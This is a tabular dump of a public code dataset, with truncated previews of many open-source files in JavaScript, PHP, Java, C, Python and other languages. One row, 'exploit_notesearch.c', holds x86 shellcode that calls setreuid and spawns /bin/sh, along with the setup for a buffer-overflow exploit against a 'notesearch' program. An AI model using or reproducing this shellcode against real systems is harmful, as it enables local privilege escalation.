id stringlengths 64 64 | content stringlengths 500 100k | language stringclasses 29
values | path stringlengths 4 333 | repo stringlengths 5 116 | license stringclasses 15
values | size int64 500 100k | lines int64 26 8.06k | source stringclasses 1
value |
|---|---|---|---|---|---|---|---|---|
300a8353dc9c10c9114e5e3e3cefac18104359ac492ea74f90aaa306973e9cae | // Table row template with placeholders
var ordersRowTemplate = '<tr><td><img class="order-status-icon" title="order_status_title" src="order_status_icon"></td><td><p class="order-number">Narudžba <strong>#order_number</strong> by</p><p class="first-last-name">order_name</p><p><a class="email" href="mailto:order_email... | JavaScript | scripts/popup.js | dariour/chrome-extension-woocommerce | gpl-3.0 | 8,900 | 225 | codeparrot/github-code |
4459ec9ff096b73676a755ccffae00ed03ae95aa83369f1905f5f3510f531ba8 | <?php namespace az\Http\Controllers;
class WelcomeController extends Controller {
/*
|--------------------------------------------------------------------------
| Welcome Controller
|--------------------------------------------------------------------------
|
| This controller renders the "marketing page" for t... | PHP | server/app/Http/Controllers/WelcomeController.php | justinkelly/az_databases | gpl-3.0 | 768 | 37 | codeparrot/github-code |
b1d97b27abbb28844089f37a8a91369b57303f0f677da39202a5eb6d8425bb69 |
package recsyslod.utils;
import java.io.BufferedWriter;
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import java.util.ArrayList;
import java.util.List;
import java.util.logging.Level;
import java.util.logging.Logger;
import recsyslod.RatingsReader;
import recsyslod.data.Rate;
/**
*
*... | Java | RecSysLodTutorial/src/main/java/recsyslod/utils/CutUserByRatings.java | swapUniba/lodrecsys_eswc2017tutorial | gpl-3.0 | 2,041 | 67 | codeparrot/github-code |
2359e96a86b82a2e84ffcb4dddcd0654148a597dc463e48a0b200512e28bdf6c | // Copyright (c) 2005 - 2015 Settlers Freaks (sf-team at siedler25.org)
//
// This file is part of Return To The Roots.
//
// Return To The Roots is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either ... | C | src/GameClient.h | frin/s25client | gpl-3.0 | 13,045 | 339 | codeparrot/github-code |
f5b2f664fce8d8fc70dd10abba53b4b8b0c1074490fc8389159b0fbd7b0d5698 | /*
* XML Type: DesignInputType
* Namespace: http://uncertws.aston.ac.uk/emulatorization
* Java type: uk.ac.aston.uncertws.emulatorization.DesignInputType
*
* Automatically generated - do not modify.
*/
package uk.ac.aston.uncertws.emulatorization.impl;
/**
* An XML DesignInputType(@http://uncertws.aston.ac.uk/e... | Java | src/main/java/uk/ac/aston/uncertws/emulatorization/impl/DesignInputTypeImpl.java | itszootime/emulatorization-api | gpl-3.0 | 11,117 | 372 | codeparrot/github-code |
3bcc22919bea9d136fc1532dbe4eeb1847cdd124cd4192a989e9d13933bc345c | from django.db.models import Q
from django.forms.fields import CharField, MultiValueField
from django.forms.widgets import MultiWidget, TextInput
from django.utils import timezone
from django.utils.translation import ugettext_lazy as _
from django_filters.filters import DateFilter, MethodFilter, ModelChoiceFilter
from ... | Python | sapl/api/forms.py | vitalti/sapl | gpl-3.0 | 7,711 | 228 | codeparrot/github-code |
d6c3861fb2d47b049c93f8d00ae393bb895dea359e63aa1557918624ac5230b0 | package com.ibm.cio.ws;
import java.io.IOException;
import javax.websocket.OnClose;
import javax.websocket.OnMessage;
import javax.websocket.OnOpen;
import javax.websocket.Session;
import javax.websocket.server.ServerEndpoint;
import com.ibm.cio.model.Paint;
import com.ibm.cio.ws.helper.JSONParser;
/**
* @Server... | Java | src/com/ibm/cio/ws/EchoServer.java | emsedano/cio-figure | gpl-3.0 | 2,316 | 74 | codeparrot/github-code |
7dc9f2460376d291560db9c93167413915fd04153357805d82998bad5da47a27 | package solo.sololand.command.defaults.world.args;
import cn.nukkit.Player;
import cn.nukkit.command.CommandSender;
import cn.nukkit.command.data.CommandParameter;
import solo.sololand.command.SubCommand;
import solo.sololand.world.World;
import solo.solobasepackage.util.Message;
public class WorldMove exten... | Java | src/main/java/solo/sololand/command/defaults/world/args/WorldMove.java | solo5star/SOLOLand_Nukkit | gpl-3.0 | 1,119 | 39 | codeparrot/github-code |
feb75bcd4c389ee5754d61caa274300235ffc8c03e26b8640feece237eba0bd7 | package tcg.price.mkm;
import static org.assertj.core.api.Assertions.assertThat;
import static org.mockito.Mockito.mock;
import java.math.BigDecimal;
import java.util.List;
import org.junit.Before;
import org.junit.Test;
import tcg.db.dbo.Card;
import tcg.db.dbo.Card.Foil;
import tcg.db.dbo.CardLayout;
import tcg.d... | Java | src/test/java/tcg/price/mkm/MkmCrawlerTest.java | shionn/MtgDb | gpl-3.0 | 3,727 | 115 | codeparrot/github-code |
8de5942977176aba5e8219005187403e2959ad5fa817267facf2c758885dd103 | <!DOCTYPE html>
<html>
<head>
<title>KaraKara Admin Console</title>
<style>
body {
margin: 0;
padding: 0;
display: flex;
flex-direction: row;
flex-wrap: nowrap;
align-items: stretch;
... | HTML | website/karakara/static/admin_console.html | calaldees/KaraKara | gpl-3.0 | 1,754 | 54 | codeparrot/github-code |
f286183ca22c55543b8c885e4aeb7def523a877cd69abf1f29214d970af4cbff | package utils.updates;
import org.telegram.telegrambots.api.objects.*;
import org.telegram.telegrambots.api.objects.stickers.Sticker;
import org.telegram.telegrambots.exceptions.TelegramApiException;
import utils.Crutches;
import java.io.IOException;
import java.text.SimpleDateFormat;
import java.util.List;
public c... | Java | src/utils/updates/UpdateResolver.java | LokkaCocca/NKVD-bot | gpl-3.0 | 7,041 | 160 | codeparrot/github-code |
7f7d197d79229f1a85acbb931d7823e951a6d11d75960fbc9c2524e6f7778669 | #ifndef PLAYERPROJECTILE_H
#define PLAYERPROJECTILE_H
#include <QtGui/QMainWindow>
#include <QGraphicsScene>
#include <QGraphicsView>
#include <QGraphicsRectItem>
#include <QTimer>
#include <QTimeLine>
#include <QGraphicsItemAnimation>
#include <QPushButton>
#include <QTextEdit>
#include <QLineEdit>
#include <QListVie... | C | playerprojectile.h | clay-to-n/spacecraft_odyssey | gpl-3.0 | 849 | 40 | codeparrot/github-code |
b78a1297a9227505d365aec103e3d57b438675fd58a0aa631afb8456633ba826 | package MMC.neocraft.network.packet;
import java.io.ByteArrayOutputStream;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import net.minecraft.network.INetworkManager;
import cpw.mods.fml.common.network.Player;
import MMC.neocraft.network.PacketTypeHandler;
public clas... | Java | NeoCraft_common/MMC/neocraft/network/packet/NCpacket.java | scott181182/NeoCraft | gpl-3.0 | 1,382 | 47 | codeparrot/github-code |
3223f019d91c3bb05505d402c2c9670faf24a26c808571c61dd2b6b67032abde | /*
CA-driver for TwinHan DST Frontend/Card
Copyright (C) 2004, 2005 Manu Abraham (manu@kromtek.com)
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your... | C | drivers/media/pci/bt8xx/dst_ca.c | williamfdevine/PrettyLinux | gpl-3.0 | 21,771 | 884 | codeparrot/github-code |
333b01b032253480367c614e614d3181598e73e77a2edea85d6e6d66e5cb9e3d | #ifdef HAVE_CONFIG_H
#include <config.h>
#endif
#ifdef linux
/* For pread()/pwrite()/utimensat() */
#define _XOPEN_SOURCE 700
#endif
#include <fuse.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <dirent.h>
#include <errno.h>
#include <sys/time.h>
#ifdef... | C++ | old-SSNFS-client/main.cpp | MDTech-us-MAN/SSNFS | gpl-3.0 | 15,467 | 646 | codeparrot/github-code |
5453e79493eb19889911acc79d592a35fe46f5f52a86b8bc5df6fc84d4bf9fdc | /*
Global variables
*/
var phonePort = 8666;
var phoneIp;
var phone;
// Holds all the function objects with an id
var callbacks = [];
// Array with all the contacts by their id
var contacts = [];
// An array with all the favourites and their id
var favourites = [];
// An array with all the messages organised by id
... | JavaScript | web/main.js | tom-ando/sms | gpl-3.0 | 10,139 | 359 | codeparrot/github-code |
8ec7b6b691fd1fdfa64a3be278f4d8bef2d3964dbcb439af2aa82ede1062c4cd | var YDom = YAHOO.util.Dom;
var YEvent = YAHOO.util.Event;
var subChildren = null;
var configTimeZone = null;
if (typeof WcmDashboardWidgetCommon == "undefined" || !WcmDashboardWidgetCommon) {
var WcmDashboardWidgetCommon = {};
}
WcmDashboardWidgetCommon.dashboards = new Array();
WcmDashboardWidgetComm... | JavaScript | static-assets/components/cstudio-dashboard-widgets/lib/wcm-dashboardwidget-common.js | jvega-crafter/studio-ui | gpl-3.0 | 65,409 | 1,594 | codeparrot/github-code |
21dddfbeab8165748b17450becf6ce891af8d173505c2ae552aad9ac75bb19ac | package gtka
import (
"github.com/gotk3/gotk3/gtk"
"github.com/coyim/gotk3adapter/gliba"
"github.com/coyim/gotk3adapter/gtki"
)
type application struct {
*gliba.Application
internal *gtk.Application
}
func wrapApplicationSimple(v *gtk.Application) *application {
if v == nil {
return nil
}
return &applicati... | GO | gtka/application.go | twstrike/gotk3adapter | gpl-3.0 | 773 | 39 | codeparrot/github-code |
656e14e1bae36f1a14fe82ef22e2d84f29436b1688d7169a1a1c083fd8e5624c | //The following Copyright applies to the LitDev Extension for Small Basic and files in the namespace LitDev.
//Copyright (C) <2011 - 2020> litdev@hotmail.co.uk
//This file is part of the LitDev Extension for Small Basic.
//LitDev Extension is free software: you can redistribute it and/or modify
//it under the terms o... | C# | LitDev/LitDev/Zip.cs | litdev1/LitDev | gpl-3.0 | 10,243 | 260 | codeparrot/github-code |
299f336590124cdb4a1f75efbb84dfeaac187ede0ddb2a43755d9d2d6cd73245 | /******************************************************************************
**
** ITU-T G.722.1 (2005-05) - Fixed point implementation for main body and Annex C
** > Software Release 2.1 (2008-06)
** (Simple repackaging; no change from 2005-05 Release 2.0 code)
**
** © 2004 Polycom, Inc.
**
** Al... | C | trunk/references/OpenH323/h323plus-v1_26_5/h323plus/plugins/audio/G.722.1/G722-1/sam2coef.c | YuxuanLing/trunk | gpl-3.0 | 7,932 | 271 | codeparrot/github-code |
8fc6d247fb78b3e436d27001b37ca2fea971d8a9805ada56a9cad477bca0f0d0 | #pragma once
#ifndef _H_EMU_SW
#define _H_EMU_SW
#include "define.hpp"
int reta(USHORT a, USHORT &ret)
{
if (a > 0x3F)
return -1;
if (0x0 <= a && a <= 0x7)
ret = reg[a];
else if (0x8 <= a && a <= 0xF)
ret = mem[reg[a - 0x8]];
else if (0x10 <= a && a <= 0x17)
{
ret = mem[static_cast<USHORT>(reg[a - 0x10]... | C++ | DCPU16/core/emulator/switch.hpp | xy12423/xy_DCPU16_Emulator | gpl-3.0 | 2,914 | 194 | codeparrot/github-code |
33973c41923f733cf9238de87b32afba34a4cbf380180873ee2365f9d7e1faeb | package org.eadge.gxscript.test.validator;
import org.eadge.gxscript.data.entity.classic.entity.displayer.PrintGXEntity;
import org.eadge.gxscript.data.entity.classic.entity.imbrication.conditionals.IfGXEntity;
import org.eadge.gxscript.data.entity.classic.entity.types.number.RealGXEntity;
import org.eadge.gxscript.da... | Java | src/main/java/org/eadge/gxscript/test/validator/TestValidateNoInterdependency.java | eadgyo/GX-Script | gpl-3.0 | 4,551 | 113 | codeparrot/github-code |
a2eafdd521a67576657d9f8f2a03d572bfe5d1293531b13968ae45e16d16ae39 | package org.dllearner.cli;
import org.apache.commons.lang.exception.ExceptionUtils;
import org.dllearner.configuration.IConfiguration;
import org.dllearner.configuration.spring.ApplicationContextBuilder;
import org.dllearner.configuration.spring.DefaultApplicationContextBuilder;
import org.dllearner.confparser.ConfPar... | Java | interfaces/src/main/java/org/dllearner/cli/CLIBase2.java | AKSW/DL-Learner | gpl-3.0 | 4,499 | 144 | codeparrot/github-code |
5e037784eae351eee2a34bf72729ecd7236a90095719ab2ea967e4fa4c215e7a | {-# LANGUAGE RecordWildCards, OverloadedStrings, TemplateHaskell, DeriveGeneric #-}
module Lamdu.GUI.ExpressionEdit.HoleEdit.State
( HoleState(..), hsSearchTerm
, emptyState, setHoleStateAndJump, assocStateRef
) where
import qualified Control.Lens as Lens
import Control.MonadA (MonadA)
import ... | Haskell | Lamdu/GUI/ExpressionEdit/HoleEdit/State.hs | rvion/lamdu | gpl-3.0 | 1,392 | 40 | codeparrot/github-code |
ac0ce98b7affa1d15bf712de99532242daba9e54b45b34b8df51abba34d65e7c | #include <stdio.h>
#include <stdlib.h>
typedef struct cvor {
int value;
struct cvor *levi;
struct cvor *desni;
}BCvor;
void delete_tree(BCvor *koren){
if( koren == NULL)
return;
delete_tree(koren->levi);
delete_tree(koren->desni);
free(koren);
}
int sum_listova(BCvor* koren)
{
if (koren == NULL) ... | C | stablo/zadaci.c | we3x/Skola | gpl-3.0 | 1,078 | 59 | codeparrot/github-code |
deed6fa41d71752175adbed22e0537c9b816d0f44ae1493a806ecd8aa158a66d | /************************************************************************
Copyright (C) 2011 - 2014 Project Wolframe.
All rights reserved.
This file is part of Project Wolframe.
Commercial Usage
Licensees holding valid Project Wolframe Commercial licenses may
use this file in accordance with the Project ... | C++ | src/libwolframe/processor/execContext.cpp | ProjectTegano/Tegano | gpl-3.0 | 2,389 | 66 | codeparrot/github-code |
b55bc831f7ae82bb7c28cd329301dce318c254ead1db43035fe44163d1519256 | /****************************************************************************
* Copyright (C) 2009-2013 GGA Software Services LLC
*
* This file is part of Imago OCR project.
*
* This file may be distributed and/or modified under the terms of the
* GNU General Public License version 3 as published by the Free Soft... | C | bindings/c/test/indigo_compare_molecules.c | ggasoftware/imago | gpl-3.0 | 1,307 | 45 | codeparrot/github-code |
933465b6494d0b5b642c2b62f9d15e1509267888cda7dfe654f5c4bea7bb58f9 | #ifndef GRIDGRABBER_H
#define GRIDGRABBER_H
//#include <QtGui>
#include "gridobject.h"
#include <QGLViewer/mouseGrabber.h>
class GridGrabber : public QObject, public qglviewer::MouseGrabber, public GridObject
{
Q_OBJECT
public :
GridGrabber();
~GridGrabber();
enum MoveAxis
{
MoveX,
MoveY,
Mo... | C | src/gridgrabber.h | antonmx/posmotri | gpl-3.0 | 941 | 52 | codeparrot/github-code |
7260d3887ce77a34308069f95dedb9e5c264ed6e5af44adee5add35e8e5fe7ed | // UniformMutation.java
//
// Author:
// Antonio J. Nebro <antonio@lcc.uma.es>
// Juan J. Durillo <durillo@lcc.uma.es>
//
// Copyright (c) 2011 Antonio J. Nebro, Juan J. Durillo
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Lesser General Pu... | Java | src/jmetal/operators/mutation/UniformMutation.java | yyxhdy/ManyEAs | gpl-3.0 | 3,874 | 130 | codeparrot/github-code |
4480f0a814d9bb9162ee9341a4b170a2aec44d00568603820214f6f85c903dab | <?php
/**
* Created by PhpStorm.
* User: gautier
* Date: 08/08/15
* Time: 09:31
*/
require_once("InterfaceRegistre.php");
require_once("BaseObjectInventaire.php");
class BaseRegistre implements InterfaceRegistre {
public $objectmodel;
// search field name for num, default is "numinv"
public $numtyp... | PHP | lib/inventaire/BaseRegistre.php | ideesculture/museesDeFrance | gpl-3.0 | 3,546 | 107 | codeparrot/github-code |
6fd851484b9a97bbf9c83ff189d2d10271425de29ece65bd0ac603115063b67b | #include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <string.h>
#include <semaphore.h>
#define SHM_NAME ("/yoleimei_shm")
#define SEM_NAME ("/yoleimei_sem")
#define TIMES 65536
int main()
{
pid_t pid;
if (... | C++ | Linux/IPC/SharedMemory/POSIX/shm_sem.cpp | Yoleimei/SourceCodeRepo | gpl-3.0 | 1,774 | 81 | codeparrot/github-code |
30febc46c1429d9a5d3e19eab25daf2f3a27f3efec90b2c0525e77a138262b87 | #!/usr/bin/perl
package Koha::Procurement::Config;
use XML::Simple;
use File::Basename;
use Data::Dumper;
use C4::Context;
my $singleton;
my $configFile = "procurement-config.xml";
my $settings;
sub new {
my $class = shift;
$singleton ||= bless {}, $class;
}
sub loadConfigXml{
my $self = shift;
my $... | Perl | Koha/Procurement/Config.pm | KohaSuomi/Koha | gpl-3.0 | 1,780 | 79 | codeparrot/github-code |
d6d3922d4fc2d60bb61df736c9f3cc2ffd8b044b5118f70abbe21e6c1c7e88e4 | <?php
/* Poweradmin, a friendly web-based admin tool for PowerDNS.
* See <https://www.poweradmin.org> for more details.
*
* Copyright 2007-2010 Rejo Zenger <rejo@zenger.nl>
* Copyright 2010-2022 Poweradmin Development Team
*
* This program is free software: you can redistribute it and/or modify
* it und... | PHP | delete_supermaster.php | poweradmin/poweradmin | gpl-3.0 | 3,290 | 89 | codeparrot/github-code |
c04801563d766c81b57cba10382edfe18700489f2666dd83383565d3ac012963 | <?php
$_['heading_title'] = 'Configuraciones';
$_['text_stores'] = 'Tiendas';
$_['text_success'] = 'Éxito: ¡Has modificado las configuraciones!';
$_['text_edit'] = 'Editar la configuración';
$_['text_product'] = 'Productos';
$_['text_review'] = 'Comentarios';
$_['text_voucher'] = 'Tarjetas de regalo';
$_['text_tax'] =... | PHP | upload/admin/language/es-cl/setting/setting.php | burbuja/opencart-spanish | gpl-3.0 | 14,902 | 198 | codeparrot/github-code |
ecdf8da3c6d0506258f22ce505e872ffef29a107ed970a125db26667269e31aa | /*! \file janus_echotest.c
* \author Lorenzo Miniero <lorenzo@meetecho.com>
* \copyright GNU General Public License v3
* \brief Janus EchoTest plugin
* \details Check the \ref echotest for more details.
*
* \ingroup plugins
* \ref plugins
*
* \page echotest EchoTest plugin documentation
* This is a trivial... | C | src/plugins/janus_echotest.c | meetecho/janus-gateway | gpl-3.0 | 55,629 | 1,352 | codeparrot/github-code |
c9c243ae384978e76168368958e83c28f214642296cc57f36ae113926a1de447 | /*
* Lumeer: Modern Data Definition and Processing Platform
*
* Copyright (C) since 2017 Lumeer.io, s.r.o. and/or its affiliates.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either ... | TypeScript | src/app/shared/top-panel/wrapper/top-panel-wrapper.component.ts | livthomas/Lumeer-web-ui | gpl-3.0 | 1,618 | 50 | codeparrot/github-code |
326b153e9bda49d62743c444ff8d60c9bac8f43ebe755d9bb10e9c7159b101c6 | #
# Utility functions
#
import sys
from functools import partial
from uuid import UUID
from hashlib import sha1
from os import path, listdir
from zipfile import ZipFile
from subprocess import Popen, TimeoutExpired
import nacl.utils
import nacl.secret
def isValidUUID(uid):
"""
Validate UUID
@param uid: UU... | Python | lib/Utils.py | cbrunker/quip | gpl-3.0 | 4,795 | 145 | codeparrot/github-code |
75f29a06e69792b54b36c0d404bf8027bbf676daab6b7a495f8eccff56b1e7a7 | <?php
if(!defined('sugarEntry') || !sugarEntry) die('Not A Valid Entry Point');
/*********************************************************************************
* SugarCRM is a customer relationship management program developed by
* SugarCRM, Inc. Copyright (C) 2004-2010 SugarCRM Inc.
*
* This program is free so... | PHP | modules/vCals/vCal.php | Yuutakasan/SugarCRM-5.5.1-CE-JA-Dev | gpl-3.0 | 9,424 | 264 | codeparrot/github-code |
f5070c75dfed2ebcdce8cf9e13ab8ee849a7b24c88dcfc3905a6579bae61dbc6 | package game.model.movement;
import game.model.direction.TileCompartmentDirection;
import game.model.direction.TileEdgeDirection;
import game.model.tile.TileCompartment;
public class River
{
private TileCompartment destination;
private TileCompartmentDirection compartmentDirection;
public River(TileCompa... | Java | src/main/game/model/movement/River.java | OOP-Team-11/RoadsAndBoats | gpl-3.0 | 870 | 37 | codeparrot/github-code |
22e3f86bd6ed91ad30e0751cf5fa9a5b98d5c45fbf02a99d6f223f60c2b7fdcd | // ======================================================================
// This file is a part of the ProgrammerStenoTutor project
//
// Copyright (C) 2017 Vissale NEANG <fromtonrouge at gmail dot com>
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General... | C | Sources/Values/Types/ListValue.h | FromtonRouge/ProgrammerStenoTutor | gpl-3.0 | 1,752 | 52 | codeparrot/github-code |
01947463ac988d3ebcaa68f8b0f807434e6dacdc1e729b663418c4548690ee6a | <?php
namespace ImportT1\Controller\Admin;
use ImportT1\Import\AttributesImport;
use ImportT1\Import\BaseImport;
use ImportT1\Import\CategoriesImport;
use ImportT1\Import\ContentsImport;
use ImportT1\Import\CustomersImport;
use ImportT1\Import\FeaturesImport;
use ImportT1\Import\FoldersImport;
use ImportT1\Import\Orde... | PHP | Controller/Admin/ImportT1Controller.php | thelia-modules/ImportT1 | gpl-3.0 | 17,987 | 539 | codeparrot/github-code |
c8662226f78f3569c4d025622d4b0c8af43e4d55b1b3f71b24ebe05495a77786 | <?php echo js_tag('vendor/tiny_mce/tiny_mce'); ?>
<?php echo js_tag('elements'); ?>
<?php echo js_tag('tabs'); ?>
<?php echo js_tag('items'); ?>
<script type="text/javascript" charset="utf-8">
//<![CDATA[
// TinyMCE hates document.ready.
jQuery(window).load(function () {
Omeka.Tabs.initialize();
Omeka.Items.ta... | PHP | admin/themes/default/items/form.php | mari-fu-berlin/omeka | gpl-3.0 | 2,276 | 62 | codeparrot/github-code |
c6ffead929ca5ca52b0023a05d99ac37eeb3e2e18218042146eb6c26114368b1 | #include "mainapp.h"
#include "mainwindow.h"
#include "graphdatamodel.h"
#include "notemodel.h"
#include "diagnosticmodel.h"
#include "settingsmodel.h"
#include "dataparsermodel.h"
#include "guimodel.h"
#include "fileselectionhelper.h"
#include "scopelogging.h"
#include "util.h"
#include "formatdatetime.h"
MainApp:... | C++ | src/mainapp.cpp | jgeudens/ModbusScope | gpl-3.0 | 2,014 | 73 | codeparrot/github-code |
74dd809a7169e0cf816550f7c613c3d6fe4b82a834951013c640a1a0d5b26607 | <?php
namespace App\Http\Controllers\Member;
use App\Contracts\CompanyInterface;
use App\User;
use App\Services\Confirmation;
use App\Contracts\UserInterface;
use App\Contracts\MemberInterface;
use App\Http\Controllers\Controller;
use Illuminate\Support\Facades\Auth;
use App\Http\Requests\ChildAccountRequest;
/**
*... | PHP | app/Http/Controllers/Member/ChildController.php | NET2SOFTWARE/mynt | gpl-3.0 | 5,326 | 174 | codeparrot/github-code |
04a5551285da9bb798915c3c044b5ebe43d9d7be0e95d51591118fd3f9005f86 | // <copyright file="GazeTrackerAPI.cs" company="FU Berlin">
// ******************************************************
// OgamaClient for ITU GazeTracker
// Copyright (C) 2011 Adrian Voßkühler
// ------------------------------------------------------------------------
// This program is free software; you can re... | C# | OgamaClient/API/GazeTrackerAPI.cs | danmas/GazeTrackerEF | gpl-3.0 | 21,232 | 601 | codeparrot/github-code |
b17e294660bd1de5b76de577f4720013ffb29db23b5c08b2c8f279299f979718 | '''
' configurationGui.py
' Author: Iker Pedrosa
'
' License:
' This file is part of orderedFileCopy.
'
' orderedFileCopy is free software: you can redistribute it and/or modify
' it under the terms of the GNU General Public License as published by
' the Free Software Foundation, either version 3 of the Lice... | Python | configurationGui.py | ikerexxe/orderedFileCopy | gpl-3.0 | 5,243 | 131 | codeparrot/github-code |
570e1686cf3564d205fd00a1784b31af37280205d7af60df79d23e52dd5934c2 | package com.supermap.desktop.process.parameters.ParameterPanels;
import com.supermap.data.Dataset;
import com.supermap.data.Datasource;
import com.supermap.data.Datasources;
import com.supermap.desktop.Application;
import com.supermap.desktop.process.enums.ParameterType;
import com.supermap.desktop.process.parameter.i... | Java | Controls/src/main/java/com/supermap/desktop/process/parameters/ParameterPanels/ParameterDatasetChooserPanel.java | SuperMap-iDesktop/SuperMap-iDesktop-Cross | gpl-3.0 | 5,467 | 139 | codeparrot/github-code |
eee35b5daa258fa117aef2f90a59e65358ce081af89e8158a51e5f1d2c7d8418 | /*
* Envelope.java
* Copyright (c) 2018
* Authors: Ionut Damian, Michael Dietz, Frank Gaibler, Daniel Langerenken, Simon Flutura,
* Vitalijs Krumins, Antonio Grieco
* *****************************************************
* This file is part of the Social Signal Interpretation for Java (SSJ) framework
* developed... | Java | libssj/src/main/java/hcm/ssj/signal/Envelope.java | hcmlab/ssj | gpl-3.0 | 5,380 | 166 | codeparrot/github-code |
f074802c3af2c01810dcd8efa683b3cf580fc0f20d60c8c772c4e20821aaa18b | /**
* @file gokand/sensorimpl.h
* @brief A system sensor device back end implementation base class.
*/
/*
* Copyright 2014 Canonical Ltd.
*
* Gokan is free software: you can redistribute it and/or modify it
* under the terms of the GNU General Public License version 3, as published by
* the Free Software Foun... | C | gokand/sensorimpl.h | bregma/gokan | gpl-3.0 | 1,533 | 65 | codeparrot/github-code |
ce522d41dae5917089789eaef8d0ae376d99580f350249393ac7fd47af461213 | <?php
/* Copyright c 2003-2004 Wang, Chun-Pin All rights reserved.
*
* Version: $Id: report_donew.php,v 1.12 2013/07/07 21:25:44 alex Exp $
*
*/
include("include/header.php");
include("include/project_function.php");
include("include/email_function.php");
AuthCheckAndLogin();
if (!$_POST['project_id']) {
WriteSy... | PHP | bug/feedback_site/report_donew.php | vul3yo6/BugTracker | gpl-3.0 | 5,015 | 128 | codeparrot/github-code |
60b4767b170b81b8cef86def8d8a9e489302829b1eaa95a6cc62f21b4053537a | <?php
/* Copyright c 2003-2004 Wang, Chun-Pin All rights reserved.
*
* Version: $Id: feedback_report_download.php,v 1.12 2013/07/07 21:25:52 alex Exp $
*
*/
session_cache_limiter('must-revalidate');
session_start();
include("../include/db.php");
include("../include/misc.php");
include("../include/project_function.p... | PHP | bug/feedback/feedback_report_download.php | vul3yo6/BugTracker | gpl-3.0 | 1,904 | 56 | codeparrot/github-code |
eaa746d6c1eeed29dbff288d1bc86ee0bfd6613dc50917965135700fba21c9d6 | /*
* feature_manager,
*
* Copyright (C) 2015 Davide A. Cucci
*
* This file is part of libviso2_matcher.
*
* libviso2_matcher is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the Lic... | C++ | libviso2_matcher/src/feature_manager.cpp | DavideACucci/libviso2_matcher | gpl-3.0 | 1,686 | 68 | codeparrot/github-code |
28a2db5b5d298659e432f92dca17462335cb7a2b6c430eee6ed7f19072cadc5a | #include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
int main(int argc, char *argv[]) {
unsigned int i, *ptr, ret, offset=270;
char *comm... | C | hacking_exposed/exploit_notesearch.c | sraboy/MishMash | gpl-3.0 | 997 | 35 | codeparrot/github-code |
1dcaf56a34d9d129b6168fea298dd9e3c6ec160749a488f6b6e999b697194546 | import mutagen
import os
import re
import sys
from optparse import OptionParser
music_file_exts = ['.mp3', '.wav', '.ogg']
seconds_re = re.compile('(\d+)(\.\d+)? seconds')
def main(argv):
(options, args) = build_parser().parse_args(argv)
validate_options(options)
print('playlist(s) will be written to ', ... | Python | dnla-playlists/playlists.py | mangosmoothie/dnla-playlists | gpl-3.0 | 7,175 | 187 | codeparrot/github-code |
116392245bc91acc98b742d51d29ba34c546c3aa52711514f7e3901744b8e13a | /*
* This file is part of Cleanflight.
*
* Cleanflight is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* Cleanflight is distr... | C | src/main/sensors/initialisation.c | andre92/inav | gpl-3.0 | 4,117 | 132 | codeparrot/github-code |
2e5197fe80e42446c7f30f2108acc4f89cc13223cf2735fe45d930cead6004c6 | package com.greenaddress.greenbits.ui;
import android.app.Dialog;
import android.app.PendingIntent;
import android.content.Intent;
import android.content.IntentFilter;
import android.graphics.drawable.BitmapDrawable;
import android.nfc.NdefMessage;
import android.nfc.NdefRecord;
import android.nfc.NfcAdapter;
import a... | Java | app/src/main/java/com/greenaddress/greenbits/ui/SignUpActivity.java | greenaddress/GreenBits | gpl-3.0 | 14,885 | 401 | codeparrot/github-code |
0de3c795deb2702d52043c10478f28b2aca1e7c42f0288a4ff0c1ee1f49ed935 | #region
using System;
using System.Linq;
using System.Text;
using System.Collections.Generic;
using wServer.realm;
#endregion
namespace wServer.logic.movement
{
internal class SmoothWandering : Behavior
{
private static readonly Dictionary<Tuple<float, float>, SmoothWandering> instances =
... | C# | wserver/logic/movement/SmoothWandering.cs | R1S3MPGH/Owl-Realms-Source | gpl-3.0 | 2,899 | 87 | codeparrot/github-code |
a366281335e5116233ded962429e2ee8e80b8331c9379b8e66b70a952701d2a1 | # -*- coding: utf-8 -*-
# Copyright (c) 2004 - 2015 Detlev Offenbach <detlev@die-offenbachs.de>
#
"""
Module implementing templates for the documentation generator (lists style).
"""
from __future__ import unicode_literals
#################################################
## Common templates for index and docu fil... | Python | DocumentationTools/TemplatesListsStyle.py | testmana2/test | gpl-3.0 | 7,017 | 297 | codeparrot/github-code |
d197c2c265a037d0b157a169befd83dfe575590c9231fd68925ada0ffe4b9e0a | /*
* Copyright (C) 2017 Aprel
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed ... | Java | src/aprel/optical/Isoifier.java | theAprel/Archive | gpl-3.0 | 17,106 | 348 | codeparrot/github-code |
7a89d73327dab98b1471767605b2baacebbebdc6a21012180bb1a57c0bd2cbef | /// Copyright 2010-2012 4kdownload.com (developers@4kdownload.com)
/**
This file is part of 4k Download.
4k Download is free software; you can redistribute it and/or modify
it under the terms of the one of two licenses as you choose:
1. GNU GENERAL PUBLIC LICENSE Version 3
(See file COPYIN... | C | app/audiodownloader/viewmodel/mainviewmodel.h | stefansundin/four-k-download | gpl-3.0 | 3,406 | 114 | codeparrot/github-code |
83633d33c571c3c2a56965e731667487a139b956e98a5a21274649e699b6e0ca | /*
* Copyright (C) 2007-2022 Crafter Software Corporation. All Rights Reserved.
*
